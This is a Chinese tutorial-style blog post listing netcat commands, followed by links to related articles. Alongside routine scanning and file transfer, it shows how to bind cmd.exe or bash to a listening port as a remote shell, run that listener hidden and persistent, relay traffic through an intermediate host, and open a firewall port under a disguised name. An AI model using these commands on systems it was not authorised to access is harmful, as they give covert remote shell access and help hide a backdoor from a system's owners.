NC 在客户端 和 服务器执行
---------------------------------------------------------------------------------------------------------------------------------------------------
执行命令  -l 表示在服务器端启用监听模式
      -p 指定监听的端口
      -e 指定允许远程客户端访问监听端口时执行的程序  
例如:
在远程服务器端执行 NC -l -p 12345  -e cmd.exe   //表示在(windows)服务器监听12345端口,如果远程客户端访问12345端口将会将本地cmd.exe反 弹给客户端执行。
                   nc -l -p 12345  -e /bin/bash    //在(linux)服务器监听12345端口,如果远程客户端访问12345端口会将本地bash反弹给客户端执行。

在本地客户端执行     nc 服务器ip 12345             //  连接服务器的12345端口,如果服务器端指定连接时执行的程序,会将服务器端的cmd.exe等反弹给客户端。
---------------------------------------------------------------------------------------------------------------------------------------------------

其他命令

-d隐藏服务在后台运行

nc -l -p 12345 -e cmd.exe -d    //隐藏窗口服务后台运行

0.71版本   -d 2  设置延迟2秒后执行命令

-L不断打开nc进程,不断开随时连接

     nc -l -p 12345 -e cmd.exe -d  -L

-k 服务器端允许多个客户端连接数

-n  不做域名解析

-v/-vv 显示详细信息

-z syn扫描  -r随机端口  -i 设置延迟扫描

nc -v 192.168.113.1 21,80,443
    nc -v 192.168.113.1 1-200
    nc -v 192.168.113.1 http
输出重定向
        nc -l -p 12345 > test    //输出到test
                           >>           //追加到不覆盖原有内容

-u  使用udp模式

---------------------------------------------------------------------------------------------------------------------------------------------------
可以交互聊天
        nc -n -l -u -p 53
        nc -n -u  ip 53
--------------------------------------------------------------------------------------------------------------------------------------------------
文件传输

远程服务端      nc -l -p 12345 < test.txt     //远程服务器端执行,将服务器端test.txt发送给客户机
本地客户机            nc  ip 12345 > test.txt  //客户端执行,连接服务器获取test.txt

本地做服务器    nc -l -p 12345 > test.txt
远程客户机    nc ip 12345 < test.txt

-w 2 传输完成后2秒后断开

-o test  抓包保存至test

---------------------------------------------------------------------------------------------------------------------------------------------------

获取信息,下载

nc ip 22  //获取某ip的ssh服务信息

nc  域名 port
        GET / HTTP/1.0
        HEAD / HTTP/1.0   获取服务信息  两次回车
---------------------------------------------------------------------------------------------------------------------------------------------------
跳板

A主机        nc  b_ip 33333                          //第三步连接b主机33333端口相当于访问c主机55555端口
B主机        nc -l -p 33333 | nc c_ip 55555   //第二步B主机连接C主机55555端口并通过管道转至本机通过33333端口监听
C主机        nc -l -p 55555                           //第一步在C主机监听55555端口 
        
----------------------------------------------------------------------------------------------------------------------------------------------------

netsh firewall show opmode  显示防火墙工作模式
netsh firewall set opmode mode = enable exceptions =enable profile =all
netsh firewall add portopening tcp 1234 "Windows Firewall Reporting Agent" enable all
netsh firewall show portopening

nc用法的更多相关文章

  1. linux监控命令nc用法

    一.nc命令检测端口的用法 # nc -v -w 10 %IP% -z %PORT% -v 显示指令执行过程. -w <超时秒数> 设置等待连线的时间. -u 表示使用UDP协议 -z 使 ...

  2. nc用法【转】

    linux nc命令使用详解 功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o& ...

  3. nc用法小记

    By francis_hao    Jun 30,2017   ncat:连接和重定向套接字 概要 ncat [OPTIONS...] [hostname] [port]   描述 ncat 是一个集 ...

  4. nc命令用法举例

    什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...

  5. 12. nc/netcat 用法举例

    nc命令用法举例 什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可 ...

  6. nc命令用法举

    什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...

  7. NC 命令引用了一个高手的文章做收藏

    什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...

  8. 使用nc传输文件和目录【转】

    方法1,传输文件演示(先启动接收命令) 使用nc传输文件还是比较方便的,因为不用scp和rsync那种输入密码的操作了 把A机器上的一个rpm文件发送到B机器上 需注意操作次序,receiver先侦听 ...

  9. 【转至nmap】nc命令

    什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...

随机推荐

  1. Linux学习笔记-第8天 - 看似很简单

    这些东西已经看了三遍,已经能够理解了.看似很简单,希望真正在用的时候不会出差子.

  2. 树的遍历 | 1079 理解题意+DFS

    这题如果读懂了题意,就很好做,一波操作就结束了.不过题目有点难读,考验耐心和读题的细致. AC代码: #include <stdio.h> #include <memory.h> ...

  3. DP问题(1) : hdu 2577

    题目转自hdu 2577,题目传送门 题目大意: 现给你n个区分大小写的字符串,大小写可用Caps Lock和shift切换(学过计算机的都知道) 但是有一点需要注意(shift是切换,若现在是大写锁 ...

  4. 用户增长模型AARRR模型

    用户增长模型AARRR模型

  5. SpringBoot集成Spring Security(5)——权限控制

    在第一篇中,我们说过,用户<–>角色<–>权限三层中,暂时不考虑权限,在这一篇,是时候把它完成了. 为了方便演示,这里的权限只是对角色赋予权限,也就是说同一个角色的用户,权限是 ...

  6. vue+elementui搭建后台管理界面(1登录)

    1 node环境安装 从 node官网下载安装包 2 vue-cli npm install vue-cli -g 3 新建项目 vue init webpack vue-project 可保持默认, ...

  7. Azure DevOps Server (TFS) 代码库Repo管理培训

    Repo是分布式代码库Git中的一个专用词,用于存储和管理开发团队中特定的源代码. 使用Git,可以协调整个团队的代码更改. 即使您只是一个开发人员,版本控制也可以帮助您在修复错误和开发新功能时保持井 ...

  8. No package python-pip available. 解决方法

    问题描述: No package python-pip available. 解决办法: rpm -ivh http://dl.fedoraproject.org/pub/epel/6/i386/ep ...

  9. CSS3做动物走路效果

    CSS3做动物走路效果 采用的CSS3切换序列帧做 核心代码如下<pre>.game .role { width: 60px; height: 86px; position: absolu ...

  10. mysql操作(精简版)

    一.数据库操作(建库.删库) 1.查看数据库:show databases; 2.创建数据库:DROP DATABASE 数据库名; 3.删除数据库:CREATE DATABASE 数据库名; 4.使 ...